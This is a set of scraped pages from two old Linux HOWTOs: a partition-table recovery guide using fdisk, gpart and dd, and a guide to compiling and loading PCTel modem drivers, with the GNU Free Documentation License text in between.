I am not responsible of any damage on any computer as a result of anyone reading this HOWTO. If you do any damage, _it is YOUR fault, NOT MINE_! Be careful when partitioning disks, and don't make any mistakes, because it can be fatal! Backup all your important data and check that everything you do is correct! What is described here worked on my computer, but it may or may not work on your computer. Although it should work for everyone, I can't guarantee anything. This is the last warning you get: BACKUP IMPORTANT DATA! Or, to put it short: Use at your own risk!

1.4. What do I must know right now?

You must know that in case of any major problem with your hard disk, you must stop using it at all in write mode, at least the time necessary to understand what happens. Information there is very volatile...

If ever, one morning, awaking, you computer say “can't load, no system installed”, you must not begin reinstalling all the stuff.

If you have Windows installed, I can't promise you can recover your data, but it's likely you will recover all your Linux stuff, provided it's not located too low in the disk structure. This is because some Windows viruses erases the very first disk cylinder, whatever is on. However I didn't ever experiment such virus and can't say for sure. Try recovering anyway.

You must also know that I give you all this information only for this -information purpose. Neither I nor any other people but you can be held responsible for any problem your data can have using this info. There are too many different systems on the world for anybody being able to promise anything. I can only wish you luck and hope you, like me, will be happy recovering data.

Prev | Home | Next
Partition-Rescue HOWTO |  | Technical info


Technical info

Partition-Rescue HOWTO
Prev Next

2. Technical info

2.1. Disks

A hard disk is made of sectors numbered from 0 to the max.

dmesg gives, for example:

hdb: ST34321A, 4103MB w/128kB Cache, CHS=523/255/63

CHS means Cylinders, Heads, Sectors.

523*255*63=8401995 sectors of 512 bytes, thus the 4103 Mbytes. This is only a logical map, it's not necessarily what is written on the disk cover (except for the total size).

The true size of the sectors is of no interest for us given we don't want to modify anything but restore a previous state. For us, the default size given by fdisk is alright.

The size seen by the system is directly dependent of the work of the BIOS (Basic Input/Output System - the PC's ROM). The mode of the hard disk indicated in the BIOS is essential. On a new disk, it's better to use BIOS automatic hard disk recognition and say “yes”. Anyway, any modification at this level may destroy all the data of the disk, so don't play with this without essential reason.

This is probably what your disk use, so don't be afraid.

2.2. Partitions

Disk are now huge, 40 Gb are not rare, so that it's not really handy to have all this stuff packed in only one part. Only Windows do so, and if you use Linux, may be it's because you are aware of how inefficient the other is.

So a hard disk is usually cut in some pieces called “partitions” (see the “partition HOWTO” for details, also read /usr/share/doc/package/util/README.fdisk)

Let's get a look at (part of) my own print of fdisk -l :

Disk /dev/hdb: 255 heads, 63 sectors, 523 cylinders
Units = cylinders of 16065 * 512 bytes
Device Boot Start End Blocks Id System
/dev/hdb1 1 153 1228941 83 Linux
/dev/hdb2 154 166 104422+ 82 Linux swap
/dev/hdb3 * 167 291 1004062+ 83 Linux
/dev/hdb4 295 523 1839442+ 5 Extended
/dev/hdb5 295 422 1028128+ 83 Linux
/dev/hdb6 423 523 811251 6 FAT16

This is my second hard disk, tied to guesses and tries (the first is too simple to be interesting).

/dev/hdb is my second ide disk (slave on the primary interface),

/dev/hdb1 is the first primary partition, running from the first (1) block to the block 153.

There can be four of such primary partitions. If one wants more than 4, one of them must be an “extended” one (not necessarily the fourth) and all other partitions are named “logical” and are located inside the extended one. Notice that partition number 5 and partition number 4 have the same beginning. Number five is logical, number 4 extended. Logicals begin always at 5, even if there are not 4 primary ones.

Here the fdisk -u -l listing of an other disk:

Disque /dev/hda : 240 têtes, 63 secteurs, 2584
cylindres Unités = secteurs sur 1 * 512 octets
Périphérique Amorce Début Fin Blocs Id Système
/dev/hda1 * 63 10357199 5178568+ c Win95 FAT32 (LBA)
/dev/hda2 15452640 39070079 11808720 83 Linux
/dev/hda3 10357200 15150239 2396520 f Win95 Etdue (LBA)
/dev/hda4 15150240 15452639 151200 84 Lecteur C: caché OS/2
/dev/hda5 10357263 10463039 52888+ 83 Linux
/dev/hda6 10463103 10780559 158728+ 82 Echange Linux
/dev/hda7 10780623 15150239 2184808+ 6 FAT16
Les entrées de la table de partitions ne suivent pas l'ordre du disque.

Don't worry for the french part, I'm french... look at your own disk listing. Of course numbers are bigger.

2.3. Why is there a problem ?

Problem is all the installed Operating Systems must share the disks and as at start the BIOS only scan the first one, there must be a so called “partition table” in the very beginning of this disk. This partition table is located in the Master Boot Record (MBR) side by side with the boot loader.

Any misuse of the MBR by any of the OS's leads to problems. When trying to install any system, yes answer at a question like “automatic partitioning?” is likely to give problems... This is specially true with Windows, especially with custom windows installation made by special makes PC's (when no true “Windows” CD is included, as with many laptops). But it's also true with new “smart” (not so smart!) Linux installation programs given with some recent distributions.

Prev | Home | Next
Beginning |  | Solving the problem


Solving the problem

Partition-Rescue HOWTO
Prev Next

3. Solving the problem

Please, beware! following the explanations given here will lead you to turn back to a previous system, loosing all your recent installed one, if any! You must choose...

3.1. The simpler case

All is simple if you have at hand :

  • a disk (floppy or CD) able to start Linux by itself with fdisk available - most rescue disks of any distribution can do that,

  • a paper with the fdisk -l and fdisk -u -l content written down.

It's enough to

  1. start Linux ;

  2. start fdisk /dev/hda (or whatever is the disk to rescue) ;

  3. use fdisk to delete (d option) all the existing partitions on the damaged disk ;

  4. use fdisk to create all the primary (1-4) partition mentioned on the paper ;

  5. give them the appropriate tag (t option) : 82 is for Linux swap, 83 for Linux main (L gives you the list), 5 is extended and must be done before creating logical partitions, c is Windows Fat 32 and f Windows extended when 6 is Windows Fat 16.

  6. create any logical partition.

On my SuSE installation and anytime I had to do this for other peoples, this gives a good result.

However I was said that some fdisk may cut partitions on a sector basis, not cylinder. So the fdisk -u -l version of the paper.

For using the fdisk -u -l listing one must start fdisk -u :-). On my opinion, using sector limit is a very bad idea, but it may have a real use I'm not aware of. Problem is that with cylinder limit it's easy to guess even if you don't have paper. With sector one, there a many more guesses...

fdisk is a small and very smart programs. There are many other makes of fdisk, but I always prefer the bare bone one (I speak of Linux ones, of course, not the others...).

Be aware that fdisk doesn't write anything to disk before you hit w and return. In case you fear a mistake, hit q (quit) or Ctrl C (^C) to quit safe.

When your new partition table is written, start your Linux. Chance is you can't do that as usual: lilo can have been damaged also and you will need a boot floppy or booting from a CD (choose the option “booting the installed partition”).

If you use to boot with lilo, as soon as you are logged in as root, key in “lilo” and hit return to reinstall you favorite boot loader.

Your Linux should be all here, test it. Try also to start Windows if applicable. If you can't, there is a (very little) chance you can read your data from Linux, may be with a raw sector by sector read. If you can identify the disk sectors you data is on, using dd can copy them on a file. This is wise for text only. This recovery is NOT in the scope of this mini-HOWTO.

3.2. A not so simple case

3.2.1. By hand

This is when the previous case can't be used, for lack of fdisk paper or if it won't run for use of an out of date one.

First, be aware that as soon as you don't write to the disk (except with fdisk), you can't erase your data, so that you can use a block by block try. That is you need to know the beginning of the partition to start it. If, say a 153 don't fit, try a 154, and so on.

This can be tiresome, but if you remember approximately the size of the Linux partition, there is a chance to win.

3.2.2. Linux own info and other hacks

3.2.2.1. Kernel

If you just destroyed your own partition table, but have not rebooted Linux: Don't reboot! You can still retrieve the partition information stored in the Kernel:

cat /proc/partitions gives

major minor #blocks name
3 0 19535040 hda
3 1 2096451 hda1
3 2 4980150 hda2
3 3 1 hda3 <----- this marks an extended partition
3 5 4980118 hda5
3 6 4972086 hda6

3.2.2.2. hdparm

hdparm -g /dev/hda1
/dev/hda1: geometry = 2432/255/63, sectors = 4192902, start = 63

You'll need to do a few unit conversions. "#blocks" are usually 1K in length. "Sectors" are disk sectors, often 512 bytes. But usually the disk partitioning tools work in units of cylinders (here 255*63=16065 sectors). Using this information you can build a new partition table.

3.2.2.3. I know the start of the partition, but not the end.

If you know the start of a Linux partition, but not the end, you can still mount it, and learn about the structure. Set the partition table start correctly, and set the end to something very large. See if you guessed correctly with:

e2fsck -n /dev/hd??

You can even mount the partition and check the size:

mount -r /dev/hd?? /mnt
df -T

This won't directly tell you where the next partition starts, because of rounding issues. But it can help you get close. Be sure to use the "-n" and "-r" flags to treat the system as read-only!!!

3.2.2.4. Other places partition information is stored

Some distributions record partition information in a file. Of course you probably won't be able to get to this file when you need it. But just in case:

SuSE: /var/lib/YaST/install.inf

(if you are aware of others, please email the maintainer of this document)

3.2.3. gpart

But there is a better way if you can still access the net or have “gpart” at hand. gpart is available in most distribution, by freshmeat.net or directly at http://www.stud.uni-hannover.de/user/76201/gpart.

“gpart - guess PC-type hard disk partitions” is the first line of the man page of gpart (man gpart).

“gpart tries to guess which partitions are on a hard disk. If the primary partition table has been lost, overwritten or destroyed the partitions still exist on the disk but the operating system cannot access them.” This is exactly what we need.

gpart is a very good tool.

The problem is the following: the first block of any partition is marked. But it's never “unmarked” if not overwritten. So many “first partition block” are existing on an old disk and gpart tries to do it's best guessing what is the good one. In fact it's not too difficult to try, nothing is written on the disk by gpart.

Here is the result of gpart on the previously seen disk hdb:

root@charles:/home/jdd > gpart /dev/hdb
Begin scan...
Possible partition(Linux ext2), size(1200Mb), offset(0Mb)
Possible partition(Windows NTFS), size(1200Mb), offset(1200Mb)
Possible partition(Linux ext2), size(1004Mb), offset(2402Mb)
Possible partition(Windows NTFS), size(1600Mb), offset(4102Mb)
End scan.
Checking partitions...
* Warning: partition(OS/2 HPFS, NTFS, QNX or Advanced UNIX) ends beyond disk end .
Partition(Linux ext2 filesystem): primary
Partition(OS/2 HPFS, NTFS, QNX or Advanced UNIX): primary
Partition(Linux ext2 filesystem): primary
Partition(OS/2 HPFS, NTFS, QNX or Advanced UNIX): invalid primary
Ok.
Guessed primary partition table:
Primary partition(1)
type: 131(0x83)(Linux ext2 filesystem)
size: 1200mb #s(2457880) s(63-2457942)
chs: (0/1/1)-(152/254/61)d (0/1/1)-(152/254/61)r
Primary partition(2)
type: 007(0x07)(OS/2 HPFS, NTFS, QNX or Advanced UNIX)
size: 1200mb #s(2457880) s(2457944-4915823)
chs: (152/254/63)-(305/253/60)d (152/254/63)-(305/253/60)r
Primary partition(3)
type: 131(0x83)(Linux ext2 filesystem)
size: 1004mb #s(2056256) s(4919781-6976036)
chs: (306/61/49)-(434/60/47)d (306/61/49)-(434/60/47)r
Primary partition(4)
type: 000(0x00)(unused) size: 0mb #s(0) s(0-0) chs: (0/0/0)-(0/0/0)d (0/0/0)-(0/0/0)r

As you see, primary partition can be recovered, but for extended ones it's still to be done.

Dos partitions are labeled “windows NTFS” because they were created while trying to install Windows 2000 (a very awful experience!). The “invalid” one is, in fact the extended partition.

With this, one can use fdisk and try re-creating the partition table (remember, this is risk-free given the original one is already lost).

gpart is updated on a weekly basis :-) and so new makes may be more powerful than I know.

3.2.3.1. Recovering partitions inside an extended partition

Extended partition information is scattered on the disk, not stored with the primary partition. To recover these often requires more works. The process is:

  1. Scan for the start of the first partition (using gpart's -k option);

  2. Create a temporary primary partition entry with the true start position and a fake end position (this may drive you to delete an actual primary partition if no one is available - this is risk free if you don't reuse the sectors of the deleted partition);

  3. Use “e2fsk -n”, “mount -r”, and “df” to determine the true end point. Write this value down (warning:read the man page for each program mentioned, and use the read-only options, you do not want to write to your disk until all partitions are in the correct place);

  4. Repeat this process for each partition to be recovered;

  5. Build a complete new correct partition table.

3.2.3.2. If your hard drive has errors

If your hard drive has errors, you may have real trouble mounting, checking or using data (the drive read errors get in the way). Gpart may not even find it. But if you know the start of the partition, you can easily copy the data to a temporary file stored on a different drive. Sectors with read errors will usually be set to zero by this process:

  • Copy the partition data to a file. You must know the start block of the partition;

dd if=/dev/hd?? of=/tmp/recover_hd?? bs=512 skip=XXXX count=YYY

XXX is the sector start and YYY the sector count (can be guessed).

  • Mount the file as a loop file system.

mount -r -t ext2 -o loop /tmp/recover_hd?? /mnt/recover

3.3. The rich man case

Partition Magic is a commercial product, not so cheap given the little use one can have (approx a hundred bucks in France) but with a very high reputation all around there. However I never use it and will not rate it. It's said to be able to do anything with partitions, including restoring them.

Original Ralf partition-rescue mini HOWTO was essentially based around the use of Partition Magic, so I presume it's a very good solution if you have valuable data on your Linux partition and little Linux capability. However there are now very recent makes of Partition Magic and I think it's better for you to read the manual.

Prev | Home | Next
Technical info |  | References


References

Partition-Rescue HOWTO
Prev

4. References

4.1. Authors

The author of this HOWTO is Jean-Daniel Dodin. I can be joined at jdanield@dodin.net or at jdanield@linux-france.org.

My web site is at http://www.dodin.net. Linux pages, who are of most interest for you are found at www.linux-france.org/article/jdanield.

I want to thank Rolf Klausen (- not responding - E-mail: rolfk@romsdal.vgs.no http://www2.romsdal.vgs.no/˜rolfk/) who write the previous partition-rescue mini HOWTO even if I rewrite it almost entirely, he had first the good idea. In 2000 He is no more responding to his e-mail. If anybody knows how to contact him, please let me know.

Every other member of the Linux community and everybody who supports Linux and writes documentation and programs for Linux and all the authors of the LDP and virtually any person involved in anything which has to do with Linux. Particularly Linus B. Torvalds - he is _The King_ !!!

I want also to thank Michail Brzitwa <mb@ichabod.han.de> for writing gpart !

Bryce Nesbitt <bryce at obviously dot com> did a very good job, “Linux own info” is from him as are some minor enhancements.

4.2. Most recent version

The most recent version of this mini-HOWTO shall be found on my Linux web site, at www.linux-france.org/article/jdanield/

Prev | Home
Solving the problem |


Appendix

PCTel HSP MicroModem Configuration mini-HOWTO
Prev

9. Appendix

9.1. A sample script file to load the modules.

#! /bin/bash

/sbin/insmod /lib/modules/`uname -r`/misc/pctel.o

/sbin/insmod /lib/modules/`uname -r`/misc/ptserial.o

# end file

You can save this file as modemon and then isuue the commands

bash$ chmod 700 modemon

bash$ cp modemon /usr/bin/modemon

Now, whenever you type in the command bash$ modemon , the modules will get loaded automatically

9.2. Web Resources

There are a number of websites, mailing lists that may help you while you try to configure your modem.

9.2.1. Web sites

The unofficial pctel linux driver site at http://www.medres.ch/~jstifter/pctel/

The linmodem site (the mother page of all linmodem projets) at http://www.linmodems.org

A huge lists of lin/winmodems at http://www.idir.net/~gromitkc/winmodem.html

A list of AT commands from PCTel at http://www.pctel.com/atcommands_dev.htm

The linmodem-howto is available at http://www.linuxdoc.org/HOWTO/Linmodem-HOWTO.html.

9.2.2. Mailing lists

The most important mailing list for linmodems is

<discuss@linmodems.org>

You can subscribe to that list by going to

http://www.linmodems.org or by sending a blank e-mail to <discuss-subscribe@linmodems.org> .

9.3. Other drivers that are available

I have seen a number of modem manufacturers (Dax, Zoltrix, Lectron, Tiacom etc) providing linux drivers for their modems that have PCTel chip sets.

Actually most (if not all) of these drivers are slightly modified form of the drivers at Jan's and the modems.dewback.cl site, and so, in most cases, there is no point in downloading them.

Moreover, in the early days of 2.4x kernels, Thomas Wright had made a PCTel driver and you can find it in his website at http://www.geocities.com/tom_in_rc/.

9.4. Identifying the chip set of the modem

Well, the best way to identify the chip set of your modem is to open up the cabinet of the machine., gently pull out the modem from it's slot (only if it is not integrated into your motherboard), and see the name printed on the black chip on the modem. (be very very careful while doing these, and make sure that all power supplies to the system is disconnected, and touch the ground/a metallic surface before handling any of the circuitry/wires in the machine). But sometimes, this is not possible and so you will have to adopt other methods.

The next best method is to run the command

bash$ lspci -n

This command will give you the numeric PCI id of your modem (you may have to run bash$ lspci to crosscheck the device id) and you will have to submit the number at http://www.yourvote.com/pci/ Here you may or may not get the exact name of the chip set you have.

If you do not get the name, you can go through the database at http://www.idir.net/~gromitkc/winmodem.html#drivers and search for an entry on your modem.

You can also ask at the local LUGs or ask your friends or even (a bad way, no doubt), ask the support personnel of your modem manufacturer.

9.5. GNU Free Documentation License

Version 1.1, March 2000

Copyright (C) 2000 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

3. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  1. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

  2. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  3. State on the Title page the name of the publisher of the Modified Version, as the publisher.

  4. Preserve all the copyright notices of the Document.

  5. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  6. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  7. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  8. Include an unaltered copy of this License.

  9. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

  10. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  11. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  12. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  13. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  14. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

Prev | Home
FAQ/Troubleshooting |


Where to get the drivers

PCTel HSP MicroModem Configuration mini-HOWTO
Prev Next

3. Where to get the drivers

Now let me come to the next obvious question, that is; Where are the drivers??

Well, if you are impatient, and if you have a 2.4x series kernel then go to

http://www.medres.ch/~jstifter/pctel/, and if you are stuck with the older 2.2.x kernels, go to http://modems.dewback.cl (the exact link for the file it self is http://modems.dewback.cl/pctel-2.2.tar.gz )

But there are a number of drivers in both the sites, and you will definitely feel confused..so read on.

Prev | Home | Next
Purpose of the mini-HOWTO |  | Choosing a suitable driver


PCTel HSP MicroModem Configuration mini-HOWTO

Sayamindu Dasgupta

unmadindu_NO_SPAM_@Softhome.net

Jan Stifter

j.stifter_NO_SPAM_@medres.ch

Revision History
Revision 2.0 2002-03-30
Made changes in the drivers section, other corrections
Revision History
Revision 1.10 2001-12-04
Cleaning up of sgml by Greg Ferguson, Relicensed under the GFDL, minor corrections
Revision History
Revision 1.00 Nov 26th 2001
First Release

The purpose of this document is to guide you to make your PCTel HSP MicroModem work in linux.

Table of Contents
1. Introduction
1.1. Copyright Information
1.2. Disclaimer
1.3. New Versions
1.4. Credits
1.5. Feedback
1.6. Translations
1.7. Conventions used in this document
2. Purpose of the mini-HOWTO
3. Where to get the drivers
4. Choosing a suitable driver
5. Compiling and installing the drivers
5.1. Installing the 2.2x drivers.
5.2. Installing the pctel-0.9.0 driver
5.3. Installing the pctel-0.8.6 driver
6. Testing the drivers
7. A few other points that must be noted.
7.1. Loading the modules at automatically
7.2. Country codes
7.3. Other options while loading the modules.
7.4. The sequence of loading/unloading the modules.
7.5. Bugs in the pctel-0.9.0 and the 0.8.6 versions.
7.6. Directory of the kernel source files
7.7. PnP BIOS issues
7.8. AMR modems
8. FAQ/Troubleshooting
8.1. Compiling Problems
8.2. Problems while loading the modules.
8.3. General modem based problems.
8.4. I have a problem that is not listed in this section. What do I do?
9. Appendix
9.1. A sample script file to load the modules.
9.2. Web Resources
9.3. Other drivers that are available
9.4. Identifying the chip set of the modem
9.5. GNU Free Documentation License
Next
Introduction


Compiling and installing the drivers

PCTel HSP MicroModem Configuration mini-HOWTO
Prev Next

5. Compiling and installing the drivers

The first requisite for installation is that you have a kernel source in /usr/src/linux/ (see section 7.6) and it must be configured, that is, you should have done a bash$ make configure and bash$ make dep on it.

While doing these make sure that you have the source for your running kernel...for example, if you are running kernel 2.4.8 and if you have the source for kernel 2.4.9 in /usr/src/linux/, then the drivers would not work.

Moreover, you must configure the kernel with isapnp and pnp support and see to the fact that you don't have a smp/uniprocessor mismatch ( that is, running uniprocessor kernel but having a kernel source with smp support in /usr/src/linux). Also, you will need a kernel which supports loadable modules.

And of course, you need to have gcc installed, check it by issuing the command bash$ gcc -v . If you do not get any errors, the everything is all right

5.1. Installing the 2.2x drivers.

Login as root.

Make sure that you have a 2.2.x kernel with the command bash$ uname -r

Check whether the downloaded files are in your current directory with the

bash$ ls

command. Then unpack the downloaded files with the command

bash$ tar -xzvf pctel-2.2.tar.gz

Once you have unpacked, you will be left with a ~/pctel directory.

Move into that directory with the command

bash$ cd pctel/

There is an (install.sh) installation script that makes the job easier from now on.

Make this script executable with the command

bash$ chmod +x install.sh

Then, just run the script

bash$ ./install.sh

You will see a number of messages fly by as the appropriate device files/nodes are made in the /dev/ directory, the driver files are unpacked and then compiled and loaded into the memory.

Once the process is complete without any error messages (if you get any errors, proceed to the Troubleshooting section), you will find that a new directory called lib/ has been created under directory ~/pctel/. This ~/pctel/lib/ directory contains the drivers/modules that can be loaded into the kernel.

If you move into the ~/pctel/lib/ directory with

bash$ cd ~/pctel/lib/

and do a bash$ ls, you will find two files there, one called pctel.o and the other ptserial.o

These are the two modules that are to be loaded to make the modem work.

To load the modules, you will have to issue the commands

bash$ insmod pctel.o

bash$ insmod ptserial.o

from the ~/pctel/lib/ directory.

(The install.sh script automatically does this, so you don't need to do the insmod part after running the script, but once you reboot, you will have to load the modules by

bash$ cd `your pctel directory`/lib/

bash$ insmod pctel.o

bash$ insmod ptserial.o )

5.2. Installing the pctel-0.9.0 driver

Make sure that you have kernel 2.4.0 or greater by the command

bash$ uname -r

Unpack the downloaded files with the commands

bash$ tar -xzvf 0.9.0.tar

Now you will have a pctel-0.9.0 directory

cd into that with the command

bash$ cd pctel-0.9.0/

Now comes the complicated part.

To proceed further you will have to know what chip set your modem has.See section 9.4 for more information on this.

Once you have got the name of the chip set, just type one of the following commands (depending on the chip set)

If you have a PCT 789 chip set,

bash$ ./configure --with-hal=pct789

If you have a CM8738 chip set,

bash$ ./configure -with-hal=cm8738

If you have a chip set integrated with an Intel 810 chip set based motherboard from Intel,

bash$ ./configure --with-hal=i810

If you have a chip set integrated in a motherboard from SIS,

bash$ ./configure --with-hal=sis

If you have a chip set integrated with an VIA 686a chip set based motherboard ,

bash$ ./configure --with-hal=via686a

The configure script will run and a number of messages will fly past. Check for any error messages that may fly past. When you have the prompt again, (and if you have not got any errors), compile the drivers with the command

bash$ make

Then if you do not get any error messages, install the drivers with the command

bash$ make install

(You will have to be logged in as root for performing the last step)

Then just load the drivers with the commands

bash$ insmod pctel

bash$ insmod ptserial

